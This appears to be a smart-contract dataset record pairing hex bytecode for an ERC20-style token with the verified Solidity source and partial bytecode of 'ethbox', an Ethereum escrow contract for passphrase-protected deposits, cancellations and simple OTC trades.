0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146102c757806395d89b411461031f5780639b1f9e74146103a2578063a457c2d7146103d0578063a9059cbb14610434578063dd62ed3e14610498576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce567146102425780633950935114610263575b600080fd5b6100c1610510565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b2565b60405180821515815260200191505060405180910390f35b6101a86105c9565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105d3565b60405180821515815260200191505060405180910390f35b61024a610684565b604051808260ff16815260200191505060405180910390f35b6102af6004803603604081101561027957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069b565b60405180821515815260200191505060405180910390f35b610309600480360360208110156102dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610740565b6040518082815260200191505060405180910390f35b610327610788565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036757808201518184015260208101905061034c565b50505050905090810190601f1680156103945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103ce600480360360208110156103b857600080fd5b810190808035906020019092919050505061082a565b005b61041c600480360360408110156103e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a04565b60405180821515815260200191505060405180910390f35b6104806004803603604081101561044a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ac3565b60405180821515815260200191505060405180910390f35b6104fa600480360360408110156104ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ada565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105a85780601f1061057d576101008083540402835291602001916105a8565b820191906000526020600020905b81548152906001019060200180831161058b57829003601f168201915b5050505050905090565b60006105bf338484610b61565b6001905092915050565b6000600254905090565b60006105e0848484610d75565b610679843361067485600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110b390919063ffffffff16565b610b61565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6000610736338461073185600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110fd90919063ffffffff16565b610b61565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108205780601f106107f557610100808354040283529160200191610820565b820191906000526020600020905b81548152906001019060200180831161080357829003601f168201915b5050505050905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f6f6e6c79206f776e65722063616e2063616c6c2074686973000000000000000081525060200191505060405180910390fd5b61093e816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110b390919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610995816002546110b390919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000610ab93384610ab4856040518060600160405280602581526020016112af60259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111859092919063ffffffff16565b610b61565b6001905092915050565b6000610ad0338484610d75565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610be7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806112696021913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f43616e6e6f7420617070726f766520746865203020616464726573730000000081525060200191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dfb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061128a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e81576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806112466023913960400191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f23576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e206e6f742073656e64206d6f6e657920746f20796f757273656c66000081525060200191505060405180910390fd5b610f74816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110b390919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611007816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110fd90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60006110f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611185565b905092915050565b60008082840190508381101561117b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290611232576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111f75780820151818401526020810190506111dc565b50505050905090810190601f1680156112245780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737343616e6e6f7420617070726f76652066726f6d207468652030206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f3e0011c9231d1b09361bd82a5c2cd16a7155ecfbee4e3091be6697811a66f0164736f6c63430007000033
{"success": true, "error": null, "results": {}}
3,080
0x501ac1d6103fb2643f2cb93985baaac6f81d1bc9
/** *Submitted for verification at Etherscan.io on 2021-06-30 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.6; //------------------------------------------------------------------------------------------------------------------ // // ethbox // // https://www.ethbox.org/ // // // ethbox is a smart contract based escrow service. Instead of sending funds from A to B, // users send funds through ethbox. This enables users to abort outgoing transactions // in case of a wrong recipient address. // // Funds are put in "boxes". Each box contains all the relevant data for that transaction. // Boxes can be secured with a passphrase. Users can request ETH or tokens in return // for their deposit (= OTC trade). // // The passphrase gets hashed twice. This is because the smart contract needs to do // its own hashing so that it cannot be manipulated - But the passphrase shouldn't // be submitted in clear-text all over the web, so it gets hashed, and the hash of // that is stored on the smart contract, so it can recognize when it is given the // correct passphrase. // // Depositing funds into contract = createBox(...) // Retrieving funds from contract = clearBox(...) // //------------------------------------------------------------------------------------------------------------------ contract ethbox { // Transaction data struct Box { address payable sender; address recipient; bytes32 passHashHash; ERC20Interface sendToken; uint sendValue; ERC20Interface requestToken; uint requestValue; uint timestamp; bool taken; } struct BoxWithPrivacy { bytes32 senderHash; bytes32 recipientHash; bytes32 passHashHash; ERC20Interface sendToken; uint sendValue; uint timestamp; bool taken; } address owner; bool public stopDeposits = false; Box[] boxes; BoxWithPrivacy[] boxesWithPrivacy; // Map box indexes to addresses for easier handling / privacy, so users are shown only their own boxes by the contract mapping(address => uint[]) senderMap; mapping(address => uint[]) recipientMap; mapping(bytes32 => uint[]) senderMapWithPrivacy; mapping(bytes32 => uint[]) recipientMapWithPrivacy; // Deposit funds into contract function createBox(address _recipient, ERC20Interface _sendToken, uint _sendValue, ERC20Interface _requestToken, uint _requestValue, bytes32 _passHashHash) external payable { // Make sure deposits haven't been disabled (will be done when switching to new contract version) require(!stopDeposits, "Depositing to this ethbox contract has been disabled. You can still withdraw funds."); // Max 20 outgoing boxes per address, for now require(senderMap[msg.sender].length < 20, "ethbox currently supports a maximum of 20 outgoing transactions per address."); Box memory newBox; newBox.sender = payable(msg.sender); newBox.recipient = _recipient; newBox.passHashHash = _passHashHash; newBox.sendToken = _sendToken; newBox.sendValue = _sendValue; newBox.requestToken = _requestToken; newBox.requestValue = _requestValue; newBox.timestamp = block.timestamp; newBox.taken = false; boxes.push(newBox); // Save box index to mappings for sender & recipient senderMap[msg.sender].push(boxes.length - 1); recipientMap[_recipient].push(boxes.length - 1); if(_sendToken == ERC20Interface(address(0))) // Sending ETH require(msg.value == _sendValue, "Insufficient ETH!"); else { // Sending tokens require(_sendToken.balanceOf(msg.sender) >= _sendValue, "Insufficient tokens!"); require(_sendToken.transferFrom(msg.sender, address(this), _sendValue), "Transferring tokens to ethbox smart contract failed!"); } } function createBoxWithPrivacy(bytes32 _recipientHash, ERC20Interface _sendToken, uint _sendValue, bytes32 _passHashHash) external payable { // Make sure deposits haven't been disabled (will be done when switching to new contract version) require(!stopDeposits, "Depositing to this ethbox contract has been disabled. You can still withdraw funds."); // Max 20 outgoing boxes per address, for now require(senderMapWithPrivacy[keccak256(abi.encodePacked(msg.sender))].length < 20, "ethbox currently supports a maximum of 20 outgoing transactions per address."); BoxWithPrivacy memory newBox; newBox.senderHash = keccak256(abi.encodePacked(msg.sender)); newBox.recipientHash = _recipientHash; newBox.passHashHash = _passHashHash; newBox.sendToken = _sendToken; newBox.sendValue = _sendValue; newBox.timestamp = block.timestamp; newBox.taken = false; boxesWithPrivacy.push(newBox); // Save box index to mappings for sender & recipient senderMapWithPrivacy[newBox.senderHash].push(boxesWithPrivacy.length - 1); recipientMapWithPrivacy[newBox.recipientHash].push(boxesWithPrivacy.length - 1); if(_sendToken == ERC20Interface(address(0))) // Sending ETH require(msg.value == _sendValue, "Insufficient ETH!"); else { // Sending tokens require(_sendToken.balanceOf(msg.sender) >= _sendValue, "Insufficient tokens!"); require(_sendToken.transferFrom(msg.sender, address(this), _sendValue), "Transferring tokens to ethbox smart contract failed!"); } } // Retrieve funds from contract, only as recipient (when sending tokens: have to ask for approval beforehand in web browser interface) function clearBox(uint _boxIndex, bytes32 _passHash) external payable { require((_boxIndex < boxes.length) && (!boxes[_boxIndex].taken), "Invalid box index!"); require(msg.sender != boxes[_boxIndex].sender, "Please use 'cancelBox' to cancel transactions as sender!"); // Recipient needs to have correct passphrase (hashed) and requested ETH / tokens require( (msg.sender == boxes[_boxIndex].recipient) && (boxes[_boxIndex].passHashHash == keccak256(abi.encodePacked(_passHash))) , "Deposited funds can only be retrieved by recipient with correct passphrase." ); // Mark box as taken, so it can't be taken another time boxes[_boxIndex].taken = true; // Transfer requested ETH / tokens to sender if(boxes[_boxIndex].requestValue != 0) { if(boxes[_boxIndex].requestToken == ERC20Interface(address(0))) { require(msg.value == boxes[_boxIndex].requestValue, "Incorrect amount of ETH attached to transaction, has to be exactly as much as requested!"); payable(boxes[_boxIndex].sender).transfer(msg.value); } else { require(boxes[_boxIndex].requestToken.balanceOf(msg.sender) >= boxes[_boxIndex].requestValue, "Recipient does not have enough tokens to fulfill sender's request!"); require(boxes[_boxIndex].requestToken.transferFrom(msg.sender, boxes[_boxIndex].sender, boxes[_boxIndex].requestValue), "Transferring requested tokens to sender failed!"); } } // Transfer sent ETH / tokens to recipient if(boxes[_boxIndex].sendToken == ERC20Interface(address(0))) payable(msg.sender).transfer(boxes[_boxIndex].sendValue); else require(boxes[_boxIndex].sendToken.transfer(msg.sender, boxes[_boxIndex].sendValue), "Transferring tokens to recipient failed!"); } function clearBoxWithPrivacy(uint _boxIndex, bytes32 _passHash) external payable { require((_boxIndex < boxesWithPrivacy.length) && (!boxesWithPrivacy[_boxIndex].taken), "Invalid box index!"); require(keccak256(abi.encodePacked(msg.sender)) != boxesWithPrivacy[_boxIndex].senderHash, "Please use 'cancelBox' to cancel transactions as sender!"); // Recipient needs to have correct passphrase (hashed) require( (keccak256(abi.encodePacked(msg.sender)) == boxesWithPrivacy[_boxIndex].recipientHash) && (boxesWithPrivacy[_boxIndex].passHashHash == keccak256(abi.encodePacked(_passHash))) , "Deposited funds can only be retrieved by recipient with correct passphrase." ); // Mark box as taken, so it can't be taken another time boxesWithPrivacy[_boxIndex].taken = true; // Transfer sent ETH / tokens to recipient if(boxesWithPrivacy[_boxIndex].sendToken == ERC20Interface(address(0))) payable(msg.sender).transfer(boxesWithPrivacy[_boxIndex].sendValue); else require(boxesWithPrivacy[_boxIndex].sendToken.transfer(msg.sender, boxesWithPrivacy[_boxIndex].sendValue), "Transferring tokens to recipient failed!"); } // Cancel transaction, only as sender (when sending tokens: have to ask for approval beforehand in web browser interface) function cancelBox(uint _boxIndex) external payable { require((_boxIndex < boxes.length) && (!boxes[_boxIndex].taken), "Invalid box index!"); require(msg.sender == boxes[_boxIndex].sender, "Transactions can only be cancelled by sender."); // Mark box as taken, so it can't be taken another time boxes[_boxIndex].taken = true; // Transfer ETH / tokens back to sender if(boxes[_boxIndex].sendToken == ERC20Interface(address(0))) payable(msg.sender).transfer(boxes[_boxIndex].sendValue); else require(boxes[_boxIndex].sendToken.transfer(msg.sender, boxes[_boxIndex].sendValue), "Transferring tokens back to sender failed!"); } function cancelBoxWithPrivacy(uint _boxIndex) external payable { require((_boxIndex < boxesWithPrivacy.length) && (!boxesWithPrivacy[_boxIndex].taken), "Invalid box index!"); require(keccak256(abi.encodePacked(msg.sender)) == boxesWithPrivacy[_boxIndex].senderHash, "Transactions can only be cancelled by sender."); // Mark box as taken, so it can't be taken another time boxesWithPrivacy[_boxIndex].taken = true; // Transfer ETH / tokens back to sender if(boxesWithPrivacy[_boxIndex].sendToken == ERC20Interface(address(0))) payable(msg.sender).transfer(boxesWithPrivacy[_boxIndex].sendValue); else require(boxesWithPrivacy[_boxIndex].sendToken.transfer(msg.sender, boxesWithPrivacy[_boxIndex].sendValue), "Transferring tokens back to sender failed!"); } // Retrieve single box by index - only for sender / recipient & contract owner function getBox(uint _boxIndex) external view returns(Box memory) { require( (msg.sender == owner) || (msg.sender == boxes[_boxIndex].sender) || (msg.sender == boxes[_boxIndex].recipient) , "Transaction data is only accessible by sender or recipient." ); return boxes[_boxIndex]; } function getBoxWithPrivacy(uint _boxIndex) external view returns(BoxWithPrivacy memory) { require( (msg.sender == owner) || (keccak256(abi.encodePacked(msg.sender)) == boxesWithPrivacy[_boxIndex].senderHash) || (keccak256(abi.encodePacked(msg.sender)) == boxesWithPrivacy[_boxIndex].recipientHash) , "Transaction data is only accessible by sender or recipient." ); return boxesWithPrivacy[_boxIndex]; } // Retrieve sender address => box index mapping for user function getBoxesOutgoing() external view returns(uint[] memory) { return senderMap[msg.sender]; } function getBoxesOutgoingWithPrivacy() external view returns(uint[] memory) { return senderMapWithPrivacy[keccak256(abi.encodePacked(msg.sender))]; } // Retrieve recipient address => box index mapping for user function getBoxesIncoming() external view returns(uint[] memory) { return recipientMap[msg.sender]; } function getBoxesIncomingWithPrivacy() external view returns(uint[] memory) { return recipientMapWithPrivacy[keccak256(abi.encodePacked(msg.sender))]; } // Retrieve complete boxes array, only for contract owner function getBoxesAll() external view returns(Box[] memory) { require(msg.sender == owner, "Non-specific transaction data is not accessible by the general public."); return boxes; } function getBoxesAllWithPrivacy() external view returns(BoxWithPrivacy[] memory) { require(msg.sender == owner, "Non-specific transaction data is not accessible by the general public."); return boxesWithPrivacy; } // Retrieve number of boxes, only for contract owner function getNumBoxes() external view returns(uint) { require(msg.sender == owner, "Non-specific transaction data is not accessible by the general public."); return boxes.length; } function getNumBoxesWithPrivacy() external view returns(uint) { require(msg.sender == owner, "Non-specific transaction data is not accessible by the general public."); return boxesWithPrivacy.length; } function cancelAllNonPrivacyBoxes() external { require(msg.sender == owner, "This function is reserved for administration."); for(uint i = 0; i < boxes.length; i++) if(!boxes[i].taken) { // Mark box as taken, so it can't be taken another time boxes[i].taken = true; // Transfer ETH / tokens back to sender if(boxes[i].sendToken == ERC20Interface(address(0))) boxes[i].sender.transfer(boxes[i].sendValue); else require(boxes[i].sendToken.transfer(boxes[i].sender, boxes[i].sendValue), "Transferring tokens back to sender failed!"); } } function setStopDeposits(bool _state) external { require(msg.sender == owner, "This function is reserved for administration."); stopDeposits = _state; } // Don't accept incoming ETH fallback() external payable { revert("Please don't send funds directly to the ethbox smart contract."); } constructor() { owner = msg.sender; } } interface ERC20Interface { // Standard ERC 20 token interface function totalSupply() external view returns (uint); function balanceOf(address tokenOwner) external view returns (uint balance); function allowance(address tokenOwner, address spender) external view returns (uint remaining); function transfer(address to, uint tokens) external returns (bool success); function approve(address spender, uint tokens) external returns (bool success); function transferFrom(address from, address to, uint tokens) external returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); }
0x6080604052600436106101185760003560e01c80638118e75e116100a0578063ac39805411610064578063ac39805414610375578063d6592e1f1461039e578063e3b14ad1146103ba578063e6a05a1d146103f7578063e801efa31461042257610119565b80638118e75e146102bc578063857c6d5a146102d85780638a19fc76146103035780638d8f0e6d1461032e5780639dfc3ac41461034a57610119565b80631b354527116100e75780631b354527146102035780634a3706c81461021f57806357a8a65c1461024a5780635cbe86bc14610266578063756dc8861461029157610119565b8063016852c714610154578063027abe2b1461017f5780631887a3611461019b5780631b05e275146101c657610119565b5b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161014b9061433b565b60405180910390fd5b34801561016057600080fd5b50610169610439565b60405161017691906141be565b60405180910390f35b6101996004803603810190610194919061375a565b6104c8565b005b3480156101a757600080fd5b506101b0610b5d565b6040516101bd919061417a565b60405180910390f35b3480156101d257600080fd5b506101ed60048036038101906101e891906138a8565b610ced565b6040516101fa919061443b565b60405180910390f35b61021d60048036038101906102189190613902565b610f04565b005b34801561022b57600080fd5b506102346117fa565b6040516102419190614472565b60405180910390f35b610264600480360381019061025f9190613841565b611896565b005b34801561027257600080fd5b5061027b611d90565b60405161028891906141e0565b60405180910390f35b34801561029d57600080fd5b506102a6611da3565b6040516102b3919061419c565b60405180910390f35b6102d660048036038101906102d191906138a8565b61202c565b005b3480156102e457600080fd5b506102ed61239f565b6040516102fa91906141be565b60405180910390f35b34801561030f57600080fd5b50610318612434565b6040516103259190614472565b60405180910390f35b610348600480360381019061034391906138a8565b6124d0565b005b34801561035657600080fd5b5061035f612868565b60405161036c91906141be565b60405180910390f35b34801561038157600080fd5b5061039c600480360381019061039791906137e7565b6128f7565b005b6103b860048036038101906103b39190613902565b6129a2565b005b3480156103c657600080fd5b506103e160048036038101906103dc91906138a8565b612dfa565b6040516103ee9190614456565b60405180910390f35b34801561040357600080fd5b5061040c613156565b60405161041991906141be565b60405180910390f35b34801561042e57600080fd5b506104376131eb565b005b606060056000336040516020016104509190614069565b6040516020818303038152906040528051906020012081526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156104be57602002820191906000526020600020905b8154815260200190600101908083116104aa575b5050505050905090565b600060149054906101000a900460ff1615610518576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050f906142db565b60405180910390fd5b6014600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501061059d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105949061435b565b60405180910390fd5b6105a56135c0565b33816000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505086816020019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508181604001818152505085816060019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505084816080018181525050838160a0019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050828160c0018181525050428160e0018181525050600081610100019015159081151581525050600181908060018154018082558091505060019003906000526020600020906009020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040820151816002015560608201518160030160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506080820151816004015560a08201518160050160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060c0820151816006015560e082015181600701556101008201518160080160006101000a81548160ff0219169083151502179055505050600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600180805490506108a29190614549565b9080600181540180825580915050600190039060005260206000200160009091909190915055600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600180805490506109189190614549565b9080600181540180825580915050600190039060005260206000200160009091909190915055600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156109ba578434146109b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ac9061441b565b60405180910390fd5b610b54565b848673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b81526004016109f4919061409f565b60206040518083038186803b158015610a0c57600080fd5b505afa158015610a20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4491906138d5565b1015610a85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7c906141fb565b60405180910390fd5b8573ffffffffffffffffffffffffffffffffffffffff166323b872dd3330886040518463ffffffff1660e01b8152600401610ac29392919061411a565b602060405180830381600087803b158015610adc57600080fd5b505af1158015610af0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b149190613814565b610b53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4a906142fb565b60405180910390fd5b5b50505050505050565b606060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be49061429b565b60405180910390fd5b6002805480602002602001604051908101604052809291908181526020016000905b82821015610ce457838290600052602060002090600702016040518060e00160405290816000820154815260200160018201548152602001600282015481526020016003820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160048201548152602001600582015481526020016006820160009054906101000a900460ff16151515158152505081526020019060010190610c0f565b50505050905090565b610cf5613669565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d99575060028281548110610d5e57610d5d6146f3565b5b90600052602060002090600702016000015433604051602001610d819190614069565b60405160208183030381529060405280519060200120145b80610dee575060028281548110610db357610db26146f3565b5b90600052602060002090600702016001015433604051602001610dd69190614069565b60405160208183030381529060405280519060200120145b610e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e24906142bb565b60405180910390fd5b60028281548110610e4157610e406146f3565b5b90600052602060002090600702016040518060e00160405290816000820154815260200160018201548152602001600282015481526020016003820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160048201548152602001600582015481526020016006820160009054906101000a900460ff1615151515815250509050919050565b60018054905082108015610f48575060018281548110610f2757610f266146f3565b5b906000526020600020906009020160080160009054906101000a900460ff16155b610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e906143bb565b60405180910390fd5b60018281548110610f9b57610f9a6146f3565b5b906000526020600020906009020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561103b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110329061425b565b60405180910390fd5b6001828154811061104f5761104e6146f3565b5b906000526020600020906009020160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156111055750806040516020016110c79190614084565b60405160208183030381529060405280519060200120600183815481106110f1576110f06146f3565b5b906000526020600020906009020160020154145b611144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113b9061437b565b60405180910390fd5b6001808381548110611159576111586146f3565b5b906000526020600020906009020160080160006101000a81548160ff021916908315150217905550600060018381548110611197576111966146f3565b5b906000526020600020906009020160060154146115d457600073ffffffffffffffffffffffffffffffffffffffff16600183815481106111da576111d96146f3565b5b906000526020600020906009020160050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611320576001828154811061123c5761123b6146f3565b5b906000526020600020906009020160060154341461128f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611286906143fb565b60405180910390fd5b600182815481106112a3576112a26146f3565b5b906000526020600020906009020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f1935050505015801561131a573d6000803e3d6000fd5b506115d3565b60018281548110611334576113336146f3565b5b9060005260206000209060090201600601546001838154811061135a576113596146f3565b5b906000526020600020906009020160050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b81526004016113c4919061409f565b60206040518083038186803b1580156113dc57600080fd5b505afa1580156113f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061141491906138d5565b1015611455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144c9061439b565b60405180910390fd5b60018281548110611469576114686146f3565b5b906000526020600020906009020160050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd33600185815481106114cb576114ca6146f3565b5b906000526020600020906009020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660018681548110611511576115106146f3565b5b9060005260206000209060090201600601546040518463ffffffff1660e01b8152600401611541939291906140e3565b602060405180830381600087803b15801561155b57600080fd5b505af115801561156f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115939190613814565b6115d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c99061421b565b60405180910390fd5b5b5b600073ffffffffffffffffffffffffffffffffffffffff1660018381548110611600576115ff6146f3565b5b906000526020600020906009020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156116bf573373ffffffffffffffffffffffffffffffffffffffff166108fc6001848154811061167c5761167b6146f3565b5b9060005260206000209060090201600401549081150290604051600060405180830381858888f193505050501580156116b9573d6000803e3d6000fd5b506117f6565b600182815481106116d3576116d26146f3565b5b906000526020600020906009020160030160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3360018581548110611735576117346146f3565b5b9060005260206000209060090201600401546040518363ffffffff1660e01b8152600401611764929190614151565b602060405180830381600087803b15801561177e57600080fd5b505af1158015611792573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117b69190613814565b6117f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ec9061423b565b60405180910390fd5b5b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffff